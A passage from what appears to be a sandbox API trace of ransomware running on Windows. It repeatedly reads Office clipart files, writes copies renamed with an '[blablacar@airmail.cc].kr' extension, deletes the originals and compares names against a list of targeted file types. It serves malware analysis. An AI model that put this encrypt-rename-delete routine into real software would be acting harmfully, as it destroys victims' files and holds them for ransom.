Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.440] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.440] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.441] GetLastError () returned 0x0 [0216.441] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3394, lpOverlapped=0x0) returned 1 [0216.442] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x33a0, lpOverlapped=0x0) returned 1 [0216.443] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.444] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0216.444] SetEndOfFile (hFile=0x4d8) returned 1 [0216.444] CloseHandle (hObject=0x4d8) returned 1 [0216.444] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.444] SetEndOfFile (hFile=0x36c) returned 1 [0216.450] CloseHandle (hObject=0x36c) returned 1 [0216.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0216.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.451] lstrlenW (lpString=".doc") returned 4 [0216.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString=".docx") returned 5 [0216.452] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0216.452] lstrlenW (lpString=".pdf") returned 4 [0216.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString=".xls") returned 4 [0216.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.452] lstrlenW (lpString=".xlsx") returned 5 [0216.452] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0216.452] lstrlenW (lpString=".ppt") returned 4 [0216.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.452] lstrlenW (lpString=".zip") returned 4 [0216.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.452] lstrlenW (lpString=".rar") returned 4 [0216.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString=".bz2") returned 4 [0216.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString=".7z") returned 3 [0216.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.452] lstrlenW (lpString=".dbf") returned 4 [0216.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.452] lstrlenW (lpString=".1cd") returned 4 [0216.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.452] lstrlenW (lpString=".jpg") returned 4 [0216.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.452] lstrlenW (lpString=".doc") returned 4 [0216.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString=".docx") returned 5 [0216.453] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0216.453] lstrlenW (lpString=".pdf") returned 4 [0216.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString=".xls") returned 4 [0216.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.453] lstrlenW (lpString=".xlsx") returned 5 [0216.453] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0216.453] lstrlenW (lpString=".ppt") returned 4 [0216.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.453] lstrlenW (lpString=".zip") returned 4 [0216.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.453] lstrlenW (lpString=".rar") returned 4 [0216.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString=".bz2") returned 4 [0216.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString=".7z") returned 3 [0216.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.453] lstrlenW (lpString=".dbf") returned 4 [0216.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.453] lstrlenW (lpString=".1cd") returned 4 [0216.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0216.453] lstrlenW (lpString=".jpg") returned 4 [0216.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.453] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.454] lstrlenW (lpString="J0151073.WMF") returned 12 [0216.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.454] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13336) returned 1 [0216.454] CloseHandle (hObject=0x36c) returned 1 [0216.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220 [0216.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.455] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.455] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.456] GetLastError () returned 0x0 [0216.456] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3418, lpOverlapped=0x0) returned 1 [0216.761] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x3420, lpOverlapped=0x0) returned 1 [0216.773] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.773] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0216.773] SetEndOfFile (hFile=0x4d8) returned 1 [0216.774] CloseHandle (hObject=0x4d8) returned 1 [0216.774] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.774] SetEndOfFile (hFile=0x36c) returned 1 [0216.777] CloseHandle (hObject=0x36c) returned 1 [0216.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0216.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString=".doc") returned 4 [0216.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString=".docx") returned 5 [0216.779] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0216.779] lstrlenW (lpString=".pdf") returned 4 [0216.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString=".xls") returned 4 [0216.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.779] lstrlenW (lpString=".xlsx") returned 5 [0216.779] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0216.779] lstrlenW (lpString=".ppt") returned 4 [0216.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString=".zip") returned 4 [0216.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.779] lstrlenW (lpString=".rar") returned 4 [0216.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString=".bz2") returned 4 [0216.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString=".7z") returned 3 [0216.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString=".dbf") returned 4 [0216.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString=".1cd") returned 4 [0216.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString=".jpg") returned 4 [0216.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.780] lstrlenW (lpString=".doc") returned 4 [0216.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString=".docx") returned 5 [0216.780] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0216.780] lstrlenW (lpString=".pdf") returned 4 [0216.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString=".xls") returned 4 [0216.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.780] lstrlenW (lpString=".xlsx") returned 5 [0216.780] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0216.780] lstrlenW (lpString=".ppt") returned 4 [0216.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.780] lstrlenW (lpString=".zip") returned 4 [0216.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.780] lstrlenW (lpString=".rar") returned 4 [0216.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString=".bz2") returned 4 [0216.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString=".7z") returned 3 [0216.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.780] lstrlenW (lpString=".dbf") returned 4 [0216.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.780] lstrlenW (lpString=".1cd") returned 4 [0216.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0216.780] lstrlenW (lpString=".jpg") returned 4 [0216.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.780] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.781] lstrlenW (lpString="J0152430.WMF") returned 12 [0216.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.782] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=14132) returned 1 [0216.782] CloseHandle (hObject=0x36c) returned 1 [0216.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220 [0216.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.782] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.782] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.783] GetLastError () returned 0x0 [0216.783] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3734, lpOverlapped=0x0) returned 1 [0216.785] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x3740, lpOverlapped=0x0) returned 1 [0216.786] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.786] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0216.786] SetEndOfFile (hFile=0x4d8) returned 1 [0216.787] CloseHandle (hObject=0x4d8) returned 1 [0216.787] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.787] SetEndOfFile (hFile=0x36c) returned 1 [0216.789] CloseHandle (hObject=0x36c) returned 1 [0216.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0216.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.792] lstrlenW (lpString=".doc") returned 4 [0216.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString=".docx") returned 5 [0216.792] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0216.792] lstrlenW (lpString=".pdf") returned 4 [0216.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString=".xls") returned 4 [0216.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.792] lstrlenW (lpString=".xlsx") returned 5 [0216.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0216.792] lstrlenW (lpString=".ppt") returned 4 [0216.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.792] lstrlenW (lpString=".zip") returned 4 [0216.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.792] lstrlenW (lpString=".rar") returned 4 [0216.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString=".bz2") returned 4 [0216.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString=".7z") returned 3 [0216.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.792] lstrlenW (lpString=".dbf") returned 4 [0216.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.792] lstrlenW (lpString=".1cd") returned 4 [0216.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.792] lstrlenW (lpString=".jpg") returned 4 [0216.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.793] lstrlenW (lpString=".doc") returned 4 [0216.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString=".docx") returned 5 [0216.793] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0216.793] lstrlenW (lpString=".pdf") returned 4 [0216.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString=".xls") returned 4 [0216.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.793] lstrlenW (lpString=".xlsx") returned 5 [0216.793] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0216.793] lstrlenW (lpString=".ppt") returned 4 [0216.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.793] lstrlenW (lpString=".zip") returned 4 [0216.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.793] lstrlenW (lpString=".rar") returned 4 [0216.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString=".bz2") returned 4 [0216.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString=".7z") returned 3 [0216.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.793] lstrlenW (lpString=".dbf") returned 4 [0216.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.793] lstrlenW (lpString=".1cd") returned 4 [0216.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0216.793] lstrlenW (lpString=".jpg") returned 4 [0216.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.794] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.794] lstrlenW (lpString="J0152432.WMF") returned 12 [0216.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.794] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=16492) returned 1 [0216.794] CloseHandle (hObject=0x36c) returned 1 [0216.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220 [0216.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 